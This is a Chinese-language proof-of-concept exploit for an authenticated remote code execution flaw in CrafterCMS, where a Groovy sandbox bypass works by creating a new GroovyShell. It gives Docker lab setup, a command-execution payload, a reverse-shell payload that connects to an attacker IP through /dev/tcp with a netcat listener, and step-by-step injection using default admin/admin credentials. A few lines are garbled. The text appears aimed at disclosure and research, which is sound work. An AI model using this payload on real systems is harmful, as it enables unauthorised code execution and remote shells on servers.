这是针对 CrafterCMS 中认证后远程代码执行漏洞的概念验证。
拥有开发者权限的认证用户可以绕过 Crafter Studio 中的 Groovy 脚本沙箱,实现远程代码执行(RCE)。该沙箱未能阻止实例化新的 GroovyShell,而后者可用于创建新的、无限制的执行环境。
你可以使用官方 Docker Compose 文件快速部署一个易受攻击的 CrafterCMS 实例用于测试。
从 CrafterCMS 克隆 docker-compose 仓库:
git clone https://github.com/craftercms/docker-compose.git
进入创作环境目录:
cd docker-compose/authoring
启动容器。这将下载必要的镜像并启动 CrafterCMS 栈。
docker-compose up
(注意:根据你的 Docker 安装情况,可能需要使用 sudo。)
等待服务完全初始化。你可以通过 http://localhost:8080/studio 访问 Crafter Studio。
adminadmin虽然沙箱正确地阻止了直接执行方法,但它允许以下有效载荷,该载荷会创建一个新的、无沙箱的 Groovy shell。
// 文件: /scripts/interceptors/pwn.groovy
def shell = new GroovyShell()
def command = "id" // <-- 在此处输入你的命令
def result = shell.evaluate("'''${command}'''.execute().text")
// 输出将被打印到服务器日志中
System.err.println("[RCE-PoC] " + result)
该有效载荷演示了完整的RCE,通过建立反向连接回到攻击者控制的机器。
在你的机器上启动一个监听器(例如,使用 netcat)来接收传入的连接:
nc -lvnp 4444
使用以下 Groovy 脚本作为你的有效载荷。请记得将 <YOUR_IP> 和 <YOUR_PORT> 替换为你的监听器的 IP 地址和端口。
// 文件: /scripts/interceptors/exploit.groovy
def attacker_ip = "<YOUR_IP>"
def attacker_port = "4444" // 或者 <YOUR_PORT>
def cmd = "bash -i >& /dev/tcp/" + attacker_ip + "/" + attacker_port + " 0>&1"
def shell = new GroovyShell()
// 使用三重引号方便地处理命令字符串
shell.evaluate("""
new ProcessBuilder("/bin/bash", "-c", "${cmd}").start()
""")
System.err.println("反弹 Shell 有效载荷已执行。")
使用默认凭据 (admin / admin) 登录 Crafter Studio (http://localhost:8080/studio)。
导航到 Site Config -> Scripts。
在“Groovy 脚本”部分点击 Create/Edit Script。
选择一个会被执行的脚本类型,例如 Request Interceptor。
将 PoC 有效载荷粘贴到脚本编辑器中并保存。
通过访问网站上的任意页面(例如 http://localhost:8080)来触发该脚本。
检查服务器的标准错误日志来查看命令输出。
docker-compose logs -f crafter
预期输出:
GroovyShell: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
netcat 监听器。你应该会从容器收到一个 shell 会话。
此材料仅用于教育和研究目的。作者不对因使用此信息而导致的任何滥用或损害负责。
